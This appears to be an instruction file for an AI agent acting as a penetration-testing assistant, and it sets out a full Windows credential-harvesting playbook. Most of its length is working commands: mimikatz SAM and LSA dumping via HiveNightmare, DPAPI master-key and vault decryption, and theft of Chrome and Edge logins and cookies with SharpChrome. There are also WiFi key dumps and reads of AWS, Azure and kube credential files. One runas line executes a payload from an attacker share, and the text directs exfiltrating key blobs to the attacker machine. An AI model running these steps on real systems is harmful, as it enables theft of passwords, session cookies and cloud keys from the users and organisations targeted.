Windows Credential Harvesting

You are helping a penetration tester find and extract locally stored credentials on a Windows system. This covers file-based, registry-based, and DPAPI-protected secrets. All testing is under explicit written authorization.

Scope distinction: This skill covers LOCAL credential discovery — passwords in files, registry, vaults, browsers, DPAPI blobs, and shadow copies. For AD-level extraction (DCSync, NTDS.dit, LAPS, gMSA, DSRM), use credential-dumping instead.

Engagement Logging

Check for ./engagement/ directory. If absent, proceed without logging.

When an engagement directory exists:

• Print [windows-credential-harvesting] Activated → <target> to the screen on activation.
• Evidence → save significant output to engagement/evidence/ with descriptive filenames (e.g., sqli-users-dump.txt, ssrf-aws-creds.json).

State Management

Call get_state_summary() from the state MCP server to read current engagement state. Use it to:

• Skip re-testing targets, parameters, or vulns already confirmed
• Leverage existing credentials or access for this technique
• Understand what's been tried and failed (check Blocked section)

Your return summary must include:

• New targets/hosts discovered (with ports and services)
• New credentials or tokens found
• Access gained or changed (user, privilege level, method)
• Vulnerabilities confirmed (with status and severity)
• Pivot paths identified (what leads where)
• Blocked items (what failed and why, whether retryable)

Prerequisites

• Shell access on a Windows system (cmd.exe, PowerShell, or webshell)
• Current user context known (whoami)
• Higher access level unlocks more techniques (admin → SAM, DPAPI machine keys)

Step 1: Quick Wins (No Admin Required)

Start with techniques that work at any privilege level. These often yield immediate results with minimal detection.

Saved Credentials (cmdkey)

cmdkey /list

If entries exist, use them:

runas /savecred /user:DOMAIN\admin cmd.exe
runas /savecred /user:administrator "\\ATTACKER\share\payload.exe"

Registry Autologon

reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr /i "DefaultUserName DefaultDomainName DefaultPassword"

PowerShell History

type %USERPROFILE%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt

# Search all users (if readable)
Get-ChildItem C:\Users\*\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt -ErrorAction SilentlyContinue | ForEach-Object {
    Write-Host "`n=== $($_.FullName) ===" -ForegroundColor Yellow
    Select-String -Path $_ -Pattern "passw|cred|secret|key|token|login" -Context 1,1
}

PowerShell Transcripts

# Check common transcript locations
Get-ChildItem C:\Transcripts\ -Recurse -ErrorAction SilentlyContinue
Get-ChildItem C:\Users\*\Documents\PowerShell_transcript* -ErrorAction SilentlyContinue

Unattend / Sysprep Files

dir /s /b C:\*unattend.xml C:\*sysprep.xml C:\*sysprep.inf 2>nul
type C:\Windows\Panther\Unattend.xml 2>nul | findstr /i "password"
type C:\Windows\Panther\Unattend\Unattend.xml 2>nul | findstr /i "password"
type C:\Windows\system32\sysprep\sysprep.xml 2>nul | findstr /i "password"

Passwords in unattend files are often base64-encoded:

echo "U2VjcmV0UGFzc3dvcmQxMjM=" | base64 -d

[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("U2VjcmV0UGFzc3dvcmQxMjM="))

Registry Password Search

reg query HKLM /F "password" /t REG_SZ /S /K 2>nul | findstr /i "password"
reg query HKCU /F "password" /t REG_SZ /S /K 2>nul | findstr /i "password"

PuTTY / SSH Saved Sessions

reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s
reg query "HKCU\Software\OpenSSH\Agent\Keys"

WiFi Passwords

netsh wlan show profile
netsh wlan show profile <SSID> key=clear

One-liner to dump all WiFi passwords:

for /f "tokens=4 delims=: " %a in ('netsh wlan show profiles ^| find "Profile "') do @echo off >nul & (netsh wlan show profiles name=%a key=clear | findstr "SSID Cipher Content" | find /v "Number" & echo.) & @echo on

IIS Web.config

Get-ChildItem -Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
type C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config 2>nul | findstr /i "connectionString password"

Credential File Search

cd C:\ & findstr /SI /M "password" *.xml *.ini *.txt *.config 2>nul
dir /S /B *pass*.txt *pass*.xml *pass*.ini *cred* *vnc* *.config* 2>nul
findstr /spin "password" *.* 2>nul

SessionGopher (All Saved Sessions)

Import-Module .\SessionGopher.ps1
Invoke-SessionGopher -Thorough
Invoke-SessionGopher -AllDomain -o

Extracts: PuTTY, WinSCP, SuperPuTTY, FileZilla, RDP saved sessions.

Step 2: HiveNightmare / SAM Shadow Copy (CVE-2021-36934)

Check if the SAM hive is readable by non-admin users due to misconfigured ACLs.

Detection

icacls C:\Windows\System32\config\SAM

Vulnerable if output includes BUILTIN\Users:(I)(RX).

Exploitation

:: List available shadow copies
vssadmin list shadows

# Extract via mimikatz shadow copy access
mimikatz# misc::shadowcopies
mimikatz# lsadump::sam /system:\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM /sam:\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM

# Also extract SECURITY hive for LSA secrets
mimikatz# lsadump::secrets /system:\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM /security:\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SECURITY

Alternative — map shadow copy and extract offline:

mklink /d C:\shadowcopy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\
copy C:\shadowcopy\Windows\System32\config\SAM C:\Windows\Temp\SAM
copy C:\shadowcopy\Windows\System32\config\SYSTEM C:\Windows\Temp\SYSTEM

# Offline extraction (attacker machine)
secretsdump.py -sam SAM -system SYSTEM LOCAL
# Or: samdump2 SYSTEM SAM
# Or: pwdump SYSTEM SAM

Backup Hive Locations

Also check these paths for SAM/SYSTEM copies:

%SYSTEMROOT%\repair\SAM
%SYSTEMROOT%\repair\system
%SYSTEMROOT%\System32\config\RegBack\SAM
%SYSTEMROOT%\System32\config\RegBack\system

Step 3: DPAPI Extraction

DPAPI (Data Protection API) encrypts credentials, vault entries, browser passwords, and other secrets using keys derived from the user's password. Decrypting DPAPI requires either the user's password/NTLM hash, LSASS memory, or the domain backup key.

Locate DPAPI Blobs

# Master keys
Get-ChildItem -Hidden C:\Users\*\AppData\Roaming\Microsoft\Protect\ -Recurse
Get-ChildItem -Hidden C:\Users\*\AppData\Local\Microsoft\Protect\ -Recurse

# Credential blobs
Get-ChildItem -Hidden C:\Users\*\AppData\Local\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\*\AppData\Roaming\Microsoft\Credentials\

# Vault files
Get-ChildItem -Hidden C:\Users\*\AppData\Local\Microsoft\Vault\
Get-ChildItem -Hidden C:\Users\*\AppData\Roaming\Microsoft\Vault\

Decrypt (Current User Session — Easiest)

If running as the target user, DPAPI automatically uses the loaded master key:

# SharpDPAPI — decrypt everything accessible in current user context
SharpDPAPI.exe triage /unprotect
SharpDPAPI.exe credentials /unprotect
SharpDPAPI.exe vaults /unprotect
SharpDPAPI.exe rdg /unprotect

# Mimikatz — in-session decryption
mimikatz# dpapi::cred /in:C:\Users\user\AppData\Local\Microsoft\Credentials\<GUID> /unprotect

Decrypt (Known Password or NTLM Hash)

# SharpDPAPI — with password
SharpDPAPI.exe masterkeys /password:PASSWORD
SharpDPAPI.exe triage /password:PASSWORD

# SharpDPAPI — with NTLM hash
SharpDPAPI.exe masterkeys /ntlm:NTLM_HASH

# Mimikatz — decrypt master key with password
mimikatz# dpapi::masterkey /in:"C:\Users\USER\AppData\Roaming\Microsoft\Protect\{SID}\{GUID}" /sid:S-1-5-21-...-1107 /password:PASSWORD /protected
# Then use the master key to decrypt blobs
mimikatz# dpapi::cred /in:C:\path\to\credential /masterkey:MASTERKEY_HEX

# Impacket dpapi.py (offline)
python3 dpapi.py masterkey -file {GUID} -sid S-1-5-21-...-1107 -password 'Password!'
python3 dpapi.py credential -file CREDENTIAL_BLOB -key 0xMASTERKEY_HEX

Decrypt (RPC to Domain Controller — Domain-Joined)

If the user is currently logged in on a domain-joined machine:

# SharpDPAPI — RPC call to DC for master key decryption
SharpDPAPI.exe masterkeys /rpc
SharpDPAPI.exe triage /rpc

# Mimikatz
mimikatz# dpapi::masterkey /in:"C:\...\{GUID}" /rpc

Decrypt (Domain Backup Key — Domain Admin)

With domain admin access, extract the DPAPI backup key to decrypt any user's master keys:

# Extract domain backup key
SharpDPAPI.exe backupkey /server:DC01.domain.local /file:key.pvk

# Mimikatz
mimikatz# lsadump::backupkeys /system:DC01.domain.local /export

# Then decrypt any user's credentials with the backup key
SharpDPAPI.exe triage /pvk:key.pvk
SharpDPAPI.exe credentials /server:TARGET /pvk:key.pvk

Decrypt (LSASS Memory — Local Admin)

# Extract DPAPI keys from LSASS
mimikatz# sekurlsa::dpapi

# Use the prekey from LSASS dump
SharpDPAPI.exe triage /prekey:SHA1_HEX

DPAPI Machine Keys (Local Admin)

For machine-scoped DPAPI (e.g., scheduled task credentials, service account creds):

# Extract machine DPAPI key from LSA secrets
reg save HKLM\SYSTEM C:\Windows\Temp\system.hiv
reg save HKLM\SECURITY C:\Windows\Temp\security.hiv

# Offline extraction
mimikatz# lsadump::secrets /system:system.hiv /security:security.hiv

Offline DPAPI Master Key Extraction

If you have master key files but not the password, extract the hash for offline cracking:

# Extract hashcat-format hashes from master keys
DPAPISnoop.exe masterkey-parse C:\Users\bob\AppData\Roaming\Microsoft\Protect\{SID} --mode hashcat --outfile engagement/evidence/dpapi-masterkey-bob.hc

Do NOT crack hashes in this skill. Save the DPAPI master key hash to engagement/evidence/ and return to the orchestrator with the hash file path, hash type (DPAPI masterkey / hashcat mode 15900), and a routing recommendation to credential-recovery.

Step 4: Browser Credentials

Chrome / Edge (Chromium-based — DPAPI encrypted)

# SharpChrome — interactive (current user session)
SharpChrome.exe logins /browser:chrome /unprotect
SharpChrome.exe logins /browser:edge /unprotect
SharpChrome.exe cookies /browser:chrome /format:csv /unprotect

# Offline workflow — extract state key, then decrypt
SharpChrome.exe statekeys /target:"C:\Users\bob\AppData\Local\Google\Chrome\User Data\Local State" /unprotect
# Use the hex statekey output to decrypt cookies offline
SharpChrome.exe cookies /target:"C:\Users\bob\...\Default\Cookies" /statekey:STATEKEY_HEX /format:json

# Remote with domain backup key
SharpChrome.exe logins /server:HOST01 /browser:chrome /pvk:key.pvk
SharpChrome.exe cookies /server:HOST01 /browser:edge /pvk:BASE64

# With DPAPI prekey from LSASS dump
SharpChrome.exe logins /browser:edge /prekey:SHA1_HEX

Chrome/Edge file locations:

C:\Users\<USER>\AppData\Local\Google\Chrome\User Data\Default\Login Data
C:\Users\<USER>\AppData\Local\Google\Chrome\User Data\Local State
C:\Users\<USER>\AppData\Local\Microsoft\Edge\User Data\Default\Login Data

Firefox (NSS encrypted — no DPAPI)

C:\Users\<USER>\AppData\Roaming\Mozilla\Firefox\Profiles\<PROFILE>\key4.db
C:\Users\<USER>\AppData\Roaming\Mozilla\Firefox\Profiles\<PROFILE>\logins.json

Tools: SharpWeb, firefox_decrypt.py, firepwd.py.

Mimikatz Chrome Decryption

mimikatz# dpapi::chrome /in:"%LOCALAPPDATA%\Google\Chrome\User Data\Default\Login Data" /unprotect

Step 5: Additional Credential Sources

Credential Manager / Vault (Detailed)

:: List vault entries
vaultcmd /listcreds:"Windows Credentials" /all
vaultcmd /listcreds:"Web Credentials" /all

# Mimikatz vault dumping
mimikatz# vault::list
mimikatz# vault::cred /patch

Sticky Notes

# SQLite database — may contain passwords in notes
$db = "C:\Users\$env:USERNAME\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite"
if (Test-Path $db) { Write-Host "Sticky Notes DB found: $db" }

Copy and open with any SQLite viewer — notes stored in plaintext.

VNC Passwords

reg query "HKCU\Software\ORL\WinVNC3\Password"
reg query "HKLM\SOFTWARE\RealVNC\WinVNC4" /v password

VNC passwords are DES-encrypted with a fixed key — trivially decryptable.

McAfee SiteList.xml

dir /s /b "C:\ProgramData\McAfee\*SiteList*" 2>nul
dir /s /b "C:\Program Files\McAfee\*SiteList*" 2>nul

May contain encrypted repository credentials.

Cloud Credential Files

# AWS
Test-Path "$env:USERPROFILE\.aws\credentials"
type "$env:USERPROFILE\.aws\credentials" 2>nul

# Azure
Test-Path "$env:USERPROFILE\.azure"
dir "$env:USERPROFILE\.azure" 2>nul

# GCP
Test-Path "$env:APPDATA\gcloud\credentials.db"

# Kubernetes
Test-Path "$env:USERPROFILE\.kube\config"
type "$env:USERPROFILE\.kube\config" 2>nul | findstr /i "password token"

Alternate Data Streams

# Check for hidden data streams
Get-Item -Path C:\Users\*\Desktop\* -Stream * -ErrorAction SilentlyContinue | Where-Object { $_.Stream -ne ':$DATA' }
# Read a specific stream
Get-Content -Path file.txt -Stream HiddenStream

Step 6: Escalate or Pivot

STOP and return to the orchestrator with:

• What was achieved (RCE, creds, file read, etc.)
• New credentials, access, or pivot paths discovered
• Context for next steps (platform, access method, working payloads)

Troubleshooting

SharpDPAPI "Cannot decrypt master key"

The master key is protected by the user's password. You need either: (1) the user's plaintext password or NTLM hash, (2) access to LSASS memory (local admin), (3) the domain backup key (domain admin), or (4) to run as the target user (in-session).

HiveNightmare — no shadow copies available

The vulnerability requires existing volume shadow copies. Check with vssadmin list shadows. If none exist, this path is not exploitable without creating one (requires admin).

Chrome "Login Data" locked by Chrome process

Copy the file to a temp location before reading:

copy "%LOCALAPPDATA%\Google\Chrome\User Data\Default\Login Data" C:\Windows\Temp\LoginData

DPAPI blobs found but no way to decrypt

Exfiltrate the master key files and credential blobs to the attacker machine. Use DPAPISnoop to generate hashcat-format hashes (mode 15900), save to engagement/evidence/, and route to credential-recovery.

"Access Denied" on other users' profiles

Without admin access, you can only harvest credentials from the current user's profile. Escalate first via windows-uac-bypass or windows-token-impersonation, then re-run harvesting.